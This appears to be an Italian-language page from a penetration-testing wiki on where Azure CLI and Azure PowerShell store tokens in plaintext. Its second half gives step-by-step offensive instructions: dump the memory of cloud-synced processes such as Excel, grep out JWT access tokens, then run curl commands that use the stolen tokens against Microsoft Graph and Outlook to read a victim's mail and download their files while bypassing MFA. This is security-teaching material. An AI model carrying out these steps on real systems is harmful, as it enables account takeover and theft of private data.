# Az - Credenziali Locali del Cloud

{{#include ../../../banners/hacktricks-training.md}}

## Archiviazione Locale dei Token e Considerazioni sulla Sicurezza

### Azure CLI (Interfaccia a Riga di Comando)

I token e i dati sensibili sono archiviati localmente da Azure CLI, sollevando preoccupazioni di sicurezza:

1. **Token di Accesso**: Archiviati in testo semplice all'interno di `accessTokens.json` situato in `C:\Users\<username>\.Azure`.
2. **Informazioni sull'Abbonamento**: `azureProfile.json`, nella stessa directory, contiene i dettagli dell'abbonamento.
3. **File di Log**: La cartella `ErrorRecords` all'interno di `.azure` potrebbe contenere log con credenziali esposte, come:
- Comandi eseguiti con credenziali incorporate.
- URL accessibili utilizzando token, che potrebbero rivelare informazioni sensibili.

### Azure PowerShell

Azure PowerShell archivia anche token e dati sensibili, che possono essere accessibili localmente:

1. **Token di Accesso**: `TokenCache.dat`, situato in `C:\Users\<username>\.Azure`, archivia i token di accesso in testo semplice.
2. **Segreti del Principale di Servizio**: Questi sono archiviati non crittografati in `AzureRmContext.json`.
3. **Funzione di Salvataggio del Token**: Gli utenti hanno la possibilità di persistere i token utilizzando il comando `Save-AzContext`, che dovrebbe essere usato con cautela per prevenire accessi non autorizzati.

### Strumenti Automatici per Trovarli

- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)

## Token in Memoria

Come spiegato in [**questo video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), alcuni software Microsoft sincronizzati con il cloud (Excel, Teams...) potrebbero **archiviare token di accesso in chiaro nella memoria**. Quindi, semplicemente **dumpando** la **memoria** del processo e **greppando per token JWT** potrebbe concederti accesso a diverse risorse della vittima nel cloud bypassando MFA.

Passaggi:

1. Dumpa i processi di excel sincronizzati con l'utente EntraID con il tuo strumento preferito.
2. Esegui: `string excel.dmp | grep 'eyJ0'` e trova diversi token nell'output.
3. Trova i token che ti interessano di più e esegui strumenti su di essi:
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**Nota che questi tipi di token di accesso possono essere trovati anche all'interno di altri processi.**

{{#include ../../../banners/hacktricks-training.md}}
